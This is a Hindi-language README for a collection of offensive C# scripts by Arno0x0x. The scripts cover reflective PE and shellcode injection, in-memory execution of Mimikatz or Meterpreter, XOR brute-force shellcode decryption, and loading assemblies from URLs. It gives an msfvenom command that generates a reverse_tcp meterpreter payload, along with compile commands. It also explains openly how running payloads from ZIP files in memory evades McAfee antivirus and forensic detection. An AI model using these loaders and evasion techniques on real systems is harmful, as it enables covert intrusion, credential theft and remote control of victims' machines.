
C# आक्रामक स्क्रिप्ट्स रिफ्लेक्टिव PE और शेलकोड इंजेक्शन, इन-मेमोरी पेलोड निष्पादन, XOR ब्रूट-फोर्स शेलकोड डिक्रिप्शन, और .NET असेंबली पार्सिंग के लिए।
लेखक: Arno0x0x - @Arno0x0x
यह रिपॉज़िटरी मेरी कुछ C# स्क्रिप्ट्स को प्रकाशित करने के उद्देश्य से है। कुछ स्क्रिप्ट्स तो बस अन्य स्क्रिप्ट्स से फोर्क/प्रेरित हैं जो मुझे इधर-उधर मिलीं, और मैंने उन्हें अपनी आवश्यकताओं के अनुरूप ढाला या बस सीखने और सुधारने के लिए अनुकूलित किया।
bfDecryptShellcode.cs
यह स्क्रिप्ट थोड़ी मूर्खतापूर्ण है और संभवतः एक मल्टीबाइट XOR एन्क्रिप्टेड शेलकोड के ब्रूट फोर्स डिक्रिप्शन का बहुत उपयोगी PoC नहीं है। एक बार शेलकोड डिक्रिप्ट हो जाने के बाद, इसे मेमोरी में लोड किया जाता है और निष्पादित किया जाता है।
इसका उपयोग करने के लिए, आपको दो चीज़ों की आवश्यकता होगी:
आप दोनों को मेरे ShellcodeWrapper प्रोजेक्ट का उपयोग करके प्राप्त कर सकते हैं और इसे किसी भी raw metasploit पेलोड के साथ फीड कर सकते हैं।
parseAssembly.cs
यह कंसोल एप्लिकेशन एक .Net असेंबली (exe या dll) को गतिशील रूप से लोड करेगा, चाहे वह स्थानीय फ़ाइल से हो या किसी URL से डाउनलोड की गई हो, वैकल्पिक रूप से base64 एन्कोडेड। लोड होने के बाद, यह इसके प्रकारों, मेथड और प्रॉपर्टीज़ की गणना करेगा।
उदाहरण:
parseAssembly.exe myAssembly.dll
या
parseAssembly.exe http://some.site.com/myAssembly base64
यह स्क्रिप्ट्स का एक संग्रह है जो Casey Smith (@subTee) के कॉलिंग प्रोसेस में PE या शेलकोड को रिफ्लेक्टिव रूप से इंजेक्ट करने के कार्य से विभिन्न स्रोतों से अनुकूलित किया गया है।
peloader.cs
यह स्क्रिप्ट एक base64 एन्कोडेड x64 PE फ़ाइल (उदाहरण के लिए: Mimikatz या एक Meterpreter) को प्रोसेस की मेमोरी में लोड करती है और इसे रिफ्लेक्टिव रूप से निष्पादित करती है। PE को फ़ाइल की शुरुआत में एक base64 स्ट्रिंग वेरिएबल के रूप में पास किया जाता है (हाँ, यह हार्डकोडेड है)।
आप निम्नलिखित *nix कमांड लाइन का उपयोग करके किसी भी फ़ाइल से इस base64 एन्कोडेड स्ट्रिंग को जनरेट कर सकते हैं:
root@kali:~# base64 -w 0 mimikatz.exe > mimikatz.b64
Windows मशीन पर स्क्रिप्ट को कंपाइल करने के लिए .Net framework की आवश्यकता होती है (Windows 7 और उसके बाद के संस्करणों में डिफ़ॉल्ट रूप से इंस्टॉल होता है):
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:peloader.exe peloader.cs
shellcodelauncher.cs
यह स्क्रिप्ट एक shellcode को प्रोसेस की मेमोरी में निष्पादित करती है और उसे reflectively निष्पादित करती है। shellcode को एक वेरिएबल में बाइट्स के array के रूप में पास किया जाता है। आप Metasploit की msfvenom यूटिलिटी से इस array के लिए उपयुक्त कोड स्वतः जनरेट करवा सकते हैं। उदाहरण के लिए, एक reverse_tcp meterpreter shellcode जनरेट करने के लिए:
root@kali:~# msfvenom -a x86_64 -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.52.130 LPORT=4444 -f csharp
Windows मशीन पर स्क्रिप्ट को कंपाइल करने के लिए .Net framework की आवश्यकता होती है (Windows 7 और उसके बाद के संस्करणों पर डिफ़ॉल्ट रूप से इंस्टॉल होता है):
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:shellcodeLauncher.exe shellcodeLauncher.cs
runfromzipinmemory.cs
यह स्क्रिप्ट Netkatz पर Casey Smith (@subTee) के काम पर बहुत अधिक और शर्मनाक रूप से आधारित, प्रेरित और व्युत्पन्न है।
मुझे पता चला कि मेरे कॉर्पोरेट वर्कस्टेशन पर स्थानीय एंटीवायरस (McAfee) को ZIP फ़ाइल की सामग्री का विश्लेषण न करने के लिए कॉन्फ़िगर किया गया है, संभवतः इस धारणा पर कि जब भी इस सामग्री को पढ़ा या निष्पादित किया जाना होता है तो सामान्यतः इसे पहले डिस्क पर कहीं निकाला जाएगा, और उसमें मौजूद कोई भी खराब चीज़ उस समय AV द्वारा पकड़ ली जाएगी।
यह स्क्रिप्ट जो करती है वह है सब कुछ मेमोरी में लोड करना और केवल वहीं से काम करना, साथ ही कॉलिंग प्रोसेस की मेमोरी से PE निष्पादित करने के लिए reflection का उपयोग करना।
इसलिए न केवल AV बिल्कुल भी भौंकता नहीं है, बल्कि फोरेंसिक दृष्टिकोण से, एकमात्र "स्पष्ट रूप से चल रही प्रोसेस" पूरी तरह से निर्दोष दिखती है।
Windows मशीन पर स्क्रिप्ट को कंपाइल करने के लिए .Net framework की आवश्यकता होती है (Windows 7 और उसके बाद के संस्करणों पर डिफ़ॉल्ट रूप से इंस्टॉल):
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /reference:System.IO.Compression.dll /out:runfromzipinmemory.exe runfromzipinmemory.cs
आप तब निष्पादित कर सकते हैं:
unfromzipinmemory.exe <zip_file> <exe_from_zip_file_to_be_executed>
netPEloader.cs
यह स्क्रिप्ट Netkatz पर Casey Smith (@subTee) के काम पर बहुत अधिक आधारित और प्रेरित है।
Netkatz, GitHub से mimikatz के नवीनतम रिलीज़ को लोड करने और उसे सीधे मेमोरी में निष्पादित करने का एक शानदार PoC है। हालाँकि, मुझे अपने वातावरण में तीन समस्याओं का सामना करना पड़ा:
इसलिए मैंने इन 3 समस्याओं के समाधान के लिए मूल netkatz स्क्रिप्ट को संशोधित किया:
छिपे हुए PE को डाउनलोड करने का URL स्क्रिप्ट में हार्डकोडेड है।
Windows मशीन पर स्क्रिप्ट को कंपाइल करने के लिए .Net framework आवश्यक है (Windows 7 और उसके बाद के संस्करणों पर डिफ़ॉल्ट रूप से इंस्टॉल):
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:netPEloader.exe netPEloader.cs